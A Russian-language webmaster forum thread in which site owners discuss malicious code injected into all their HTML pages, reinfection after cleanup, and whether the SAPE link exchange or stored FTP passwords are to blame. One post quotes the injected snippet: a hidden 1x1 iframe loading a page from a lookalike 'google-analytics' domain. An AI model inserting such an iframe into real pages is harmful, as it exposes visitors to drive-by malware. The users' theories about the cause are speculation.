Вирусный код в html-коде всех страниц. Не от САПЫ ли? вред: CG-GOOGLE-ANALYTICS.ru

[Дмитрий Обзоров]

Сообщение от Салоед

Вот такая вот фигня на страничке появляется:

<!--a8998e--><iframe frameborder=0 height=1 width=1 scrolling=no src='http://a.cf-google-analytics.ru/main.php?page=09607b3072273d90'> </iframe><!--/a8998e-->

я как топикстартер подтверждаю, у меня такой же код был. Только хочу еще добавить, что код обнаружился вечером, и тогда он был закодирован и был очень длинным и непонятным. А утром принялся за очистку сайта - код уже был таким вот. Закодированный код тоже был в тегах <!--a8998e--><!--/a8998e-->

Добавлено через 19 минут
жду пока Яндекс снимет в поиске пометку что мой сайт опасен. после этого новый пароль к хостингу засвечу в настройках на сапе, проведу следственный эксперимент.
пока что новый пароль нигде не указывал и сайт не заражается.

заразны были все файлы html-сайта. но и на всех страницах есть теги сапы, в которых вставляется ссылка. ссылки продавались не со всех страниц.

Сообщение от Последний Герой

тогда как объяснить

???

элементарно. открывается хтмл-страничка из компа через фронт пейдж, при открытии подгружается вирусный файл, вирус палит что страничка на компе и как-то маскирует все содержимое хтмл-кода, которое находится в тегах <!--a8998e--><!--/a8998e--> КАК оно это делает - был бы программистом, были б варианты. Но то что я открываю один и тот же файл с компа и с инетом вредоносный код во фронт пейдже не виден а без инета виден - это факт. НО также еще и не видны ссылки САПЕ. вот ответ и на вопрос:

Насколько я понял, с блоками Сапе вирус непосредственно не связан, раз идет после </body>

как-то все таки связан, если и то и другое не было видно. возможно связан тегом вида <!--NECHTO--><!--/NECHTO-->

Еще раз повторю, я говорю о скачанных с инета уже зараженных файлах.

Сообщение от Салоед

Уже два раза удалял на всех сайтах. Код появляется снова, но не сразу. Через десять-тридцать минут. И пока что не на всех страницах.

Салоед, а при смене пароля вы новый пароль указывали в настройках Сапы?

[Салоед]

Да. Указывал.

Я вот что понять не могу: почему заразились старые сайты, а тот, который торгует в сапе лишь месяц - чистый... Может есть какая-то связь с последней вирусной атакой на сапу (она была как раз около месяца назад)?

[Последний Герой]

Сообщение от Дмитрий Обзоров

элементарно. открывается хтмл-страничка из компа через фронт пейдж, при открытии подгружается вирусный файл

в текстовом редакторе это просто текст, а не исполняемый код, ничего подгружаться не должно, если ранее не было.

Сообщение от Дмитрий Обзоров

Но то что я открываю один и тот же файл с компа и с инетом вредоносный код во фронт пейдже не виден а без инета виден - это факт

В блокноте надо попробовать.
Сразу возникает вопрос, а фронтпейдж Вы купили или украли?

Добавлено через 41 секунду

Сообщение от Салоед

Да. Указывал.

Надо сменить пароль и не указывать, если думаете на сапу.

[Дмитрий Обзоров]

в текстовом редакторе это просто текст, а не исполняемый код, ничего подгружаться не должно, если ранее не было.

где я писал про текстовый редактор?

Добавлено через 3 минуты

Сразу возникает вопрос, а фронтпейдж Вы купили или украли?

купил, лет десять назад на базаре гривен за 8, вместе со всем Офисом, с гордой припиской Service Pack 1 MUI.

А что?

[sin]

Возможно, это действительно какая-то массовая атака, но ее связь с Сапой и с роботом ФТП мне совсем не очевидна. Иначе как объяснить тот факт, что вирус попадал на одни сайты и обходил другие (из подключенных по ФТП)? ЕСли бы через робота, скорее всего были бы все подряд, по очереди фтп-коннекта. У меня, кстати, тоже есть сайт, подключенный по ФТП. Щас перелопатил страницы - все ОК, вирусов нет, новые ссылки размещены буквально пару часов назад.

[Дмитрий Обзоров]

Сообщение от Салоед

Да. Указывал.

Я вот что понять не могу: почему заразились старые сайты, а тот, который торгует в сапе лишь месяц - чистый... Может есть какая-то связь с последней вирусной атакой на сапу (она была как раз около месяца назад)?

а я не указывал и сайт остается чистым.
в общем, лично для меня вопрос риторический, откуда вирус. выжду какое-то время, пока вручную ссылки буду менять, благо не миллион страниц и всего 40 ссылок.

[Салоед]

Ладно. Время спать. Снова залил чистые файлы, завтра будет видно.

Спасибо всем тем, кто небезразличен. Сапа - наша кормилица!

[MonAmur]

Сообщение от Последний Герой

а фронтпейдж Вы купили или украли?

Сообщение от Дмитрий Обзоров

купил, лет десять назад на базаре гривен за 8, вместе со всем Офисом, с гордой припиской Service Pack 1 MUI

давно так не смеялся

Дмитрий Обзоров, а хостер кто?

[Дмитрий Обзоров]

тутхост уа

[vss18]

На нескольких статичных сайтах перезаписался htaccess плюс в корне появился некий странный файл с расширением .zip. HTML-файлы еще не проверял.